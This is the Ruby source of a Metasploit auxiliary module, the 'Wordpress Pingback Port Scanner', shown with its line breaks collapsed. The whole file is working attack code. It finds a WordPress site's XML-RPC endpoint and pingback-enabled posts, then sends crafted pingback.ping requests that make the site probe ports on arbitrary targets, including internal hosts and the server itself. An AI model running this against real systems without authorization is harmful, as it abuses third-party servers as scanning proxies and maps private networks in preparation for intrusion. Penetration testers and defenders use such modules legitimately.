## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Pingback Port Scanner', 'Description' => %q{ This module will perform a port scan using the Pingback API. You can even scan the server itself or discover some hosts on the internal network this server is part of. }, 'Author' => [ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' , 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', 'FireFart', # Original PoC ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.securityfocus.com/archive/1/525045/30/30/threaded'], [ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], [ 'URL', 'https://github.com/FireFart/WordpressPingbackPortScanner'], ], )) register_options( [ OptAddressRange.new('SCAN_TARGET', [ true, "Target host you would like to port scan", "127.0.0.1"]), OptString.new('PORTS', [ true, "List of ports to scan (e.g. 22,80,137-139)","21-23,80,443"]), OptString.new('TARGETURI', [ true, 'The path to wordpress installation (e.g. /wordpress/)', '/']) ], self.class) register_advanced_options( [ OptInt.new('NUM_REDIRECTS', [ true, "Number of HTTP redirects to follow", 3]), OptInt.new('MAX_RETRIES', [ true, "Number of retries if cannot determine port status", 3]) ], self.class) end def setup() # If DNS name set variables unless datastore['SCAN_TARGET'] =~ /[a-zA-Z]+/ @is_dns = false else @is_dns = true unless datastore['SCAN_TARGET'] =~ /^http:\/\/.*/ @target_ip = Rex::Socket.getaddress(datastore['SCAN_TARGET']) @target = "http://#{datastore['SCAN_TARGET']}" else @target_ip = Rex::Socket.getaddress(datastore['SCAN_TARGET'].sub(/^http:\/\//,"")) end end # Check if database is active if db() @db_active = true else @db_active = false end end def get_xml_rpc_url() # code to find the xmlrpc url when passed in RHOST print_status("Enumerating XML-RPC URI...") begin uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi( { 'method' => 'HEAD', 'uri' => "#{uri}" }) # Check if X-Pingback exists and return value if res if res['X-Pingback'] return res['X-Pingback'] else print_error("X-Pingback header not found, quiting") return nil end else return nil end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout return nil rescue ::Timeout::Error, ::Errno::EPIPE return nil end end def get_blog_posts(xml_rpc) # find all blog posts within RHOST and determine if pingback is enabled print_status("Enumerating Blog posts...") blog_posts = {} uri = target_uri.path uri << '/' if uri[-1,1] != '/' # make http request to feed url begin print_status("Resolving #{datastore['rhost']}#{uri}?feed=rss2 to locate wordpress feed...") res = send_request_cgi({ 'uri' => "#{uri}?feed=rss2", 'method' => 'GET', }) count = datastore['NUM_REDIRECTS'] if res while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0 print_status("Web server returned a #{res.code}...following to #{res.headers['Location']}") uri = res.headers['Location'].sub(/(http|https):\/\/.*?\//, "/") res = send_request_cgi({ 'uri' => "#{uri}", 'method' => 'GET', }) if res.code == 200 print_status("Feed located at http://#{datastore['RHOST']}#{uri}") end count = count - 1 end else return nil end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{uri}") return nil rescue ::Timeout::Error, ::Errno::EPIPE print_error("Unable to connect to #{uri}") return nil end # parse out links and place in array if res.nil? or res.code != 200 return blog_posts end links = res.body.scan(/<link>([^<]+)<\/link>/i) # handle emtpy feeds if links.nil? or links.empty? return blog_posts end links.each do |link| blog_post = link[0] pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post) pingback_disabled_match = pingback_response.body.match(/<value><int>33<\/int><\/value>/i) if pingback_response.code == 200 and pingback_disabled_match.nil? print_good("Pingback enabled: #{link.join}\n") blog_posts = {:xml_rpc => xml_rpc, :blog_post => blog_post} return blog_posts else print_status("Pingback disabled: #{link.join}") end end return blog_posts end # Creates the XML data to be sent def generate_pingback_xml (target, valid_blog_post) xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" xml << "<methodCall>" xml << "<methodName>pingback.ping</methodName>" xml << "<params>" xml << "<param><value><string>#{target}</string></value></param>" xml << "<param><value><string>#{valid_blog_post}</string></value></param>" xml << "</params>" xml << "</methodCall>" return xml end # method to send xml-rpc requests def get_pingback_request(xml_rpc, target, blog_post) uri = xml_rpc.sub(/.*?#{datastore['RHOST']}/,"") # create xml pingback request pingback_xml = generate_pingback_xml(target, blog_post) # Send post request with crafted XML as data begin res = send_request_cgi({ 'uri' => "#{uri}", 'method' => 'POST', 'data' => "#{pingback_xml}", }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{uri}") return nil rescue ::Timeout::Error, ::Errno::EPIPE print_error("Unable to connect to #{uri}") return nil end return res end # method to generate pingback xml-rpc requests def generate_requests(xml_rpc_hash, target) port_range = Rex::Socket.portspec_to_portlist(datastore['PORTS']) # If target is a DNS name, include IP address in print if @is_dns the_ip = " (#{@target_ip})" else the_ip = "" end print_status("Scanning: #{target}#{the_ip}") # Port scanner max_retry = datastore['MAX_RETRIES'] current_retry = max_retry port_range.each do |i| random = (0...8).map { 65.+(rand(26)).chr }.join uri = URI(target) uri.port = i uri.scheme = i == 443 ? "https" : "http" uri.path = "/#{random}/" pingback_request = get_pingback_request(xml_rpc_hash[:xml_rpc], uri.to_s, xml_rpc_hash[:blog_post]) # Check returns, determine port status if pingback_request.nil? if current_retry > 0 vprint_status("\tIssues with port #{i}, retrying") current_retry -= 1 redo else print_status("\tCould not identify port #{i}") current_retry = max_retry next end else closed_match = pingback_request.body.match(/<value><int>16<\/int><\/value>/i) if pingback_request.code == 200 and closed_match.nil? print_good("\tPort #{i} is open") store_service(@target_ip, i, "open") if @db_active current_retry = max_retry else print_status("\tPort #{i} is closed") store_service(@target_ip, i, "closed") if @db_active current_retry = max_retry end end end end # Save data to services table def store_service(ip, port, state) report_service(:host => ip, :port => port, :state => state) end # main control method def run begin # handle redirect res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', }) count = datastore['NUM_REDIRECTS'] while (res.code == 301 || res.code == 302) && count != 0 uri = res.headers['Location'].sub(/^http:\/\/.*?#{datastore['RHOST']}/, "") @target = res.headers['Location'].chomp("/").sub(/^http:\/\//, "") res = send_request_cgi({ 'uri' => "#{uri}", 'method' => 'GET', }) count = count - 1 end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Unable to connect to #{datastore['RHOST']}") return nil rescue ::Timeout::Error, ::Errno::EPIPE print_error("Unable to connect to #{datastore['RHOST']}") return nil end # call method to get xmlrpc url xmlrpc = get_xml_rpc_url() # once xmlrpc url is found, get_blog_posts if xmlrpc.nil? print_error("#{datastore['RHOST']} does not appear to be vulnerable") else hash = get_blog_posts(xmlrpc) # If not DNS, expand list of IPs and scan each if not @is_dns and hash and not hash.empty? ip_list = Rex::Socket::RangeWalker.new(datastore['SCAN_TARGET']) ip_list.each { |ip| generate_requests(hash, "http://#{ip}") } elsif hash and not hash.empty? generate_requests(hash, @target) else print_error("No vulnerable blogs found...") end end end end